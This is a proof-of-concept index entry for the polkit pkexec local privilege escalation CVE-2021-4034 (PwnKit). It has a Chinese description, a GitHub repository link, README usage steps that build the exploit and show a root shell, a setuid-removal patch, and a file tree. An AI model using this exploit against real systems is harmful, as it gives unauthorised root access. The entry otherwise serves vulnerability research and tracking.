CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Source

https://github.com/whokilleddb/CVE-2021-4034

Associated Vulnerability

Title:polkit 缓冲区错误漏洞 (CVE-2021-4034)
Description:polkit是一个在类 Unix操作系统中控制系统范围权限的组件。通过定义和审核权限规则，实现不同优先级进程间的通讯。 polkit 的 pkexec application存在缓冲区错误漏洞，攻击者可利用该漏洞通过精心设计环境变量诱导pkexec执行任意代码。成功执行攻击后，如果目标计算机上没有权限的用户拥有管理权限，攻击可能会导致本地权限升级。

Description

An exploit for CVE-2021-4034 aka Pwnkit: Local Privilege Escalation in polkit's pkexec

Readme

<h1 align=center>CVE-2021-4034 Exploit</h1>
<p align=center><img src="https://shields.io/badge/Made_With-C-green" />
<img src="https://shields.io/badge/Compiled_With-GCC-yellow" />
<img src="https://shields.io/badge/Tested_On-Ubuntu_20.04.3_LTS_x86__64 -red" />
<img src="https://shields.io/badge/Tested_On-Centos_7 -blue" />
</p>

## Usage
```bash
$ git clone https://github.com/whokilleddb/CVE-2021-4034
$ cd CVE-2021-4034
$ make
[!] CVE-2021-4034 Exploit By whokilleddb
[!] Initializing Setup
[+] Setup Done :D
[!] Setting Root Privileges
[!] Launching Root Shell
# /bin/whoami
root
```
## Rough Patch
```bash
# chmod 0755 `which pkexec`
```

**Note: You can configure the options by playing around with `include/config.h`**

File Snapshot


 [4.0K]  /data/pocs/d6a415835831c19c644026b6775fb11e909090f1
├── [4.0K]  include
│   └── [ 749]  config.h
├── [ 328]  Makefile
├── [ 727]  README.md
└── [4.0K]  src
    ├── [4.2K]  exploit.c
    └── [ 782]  exploit-so.c

2 directories, 5 files

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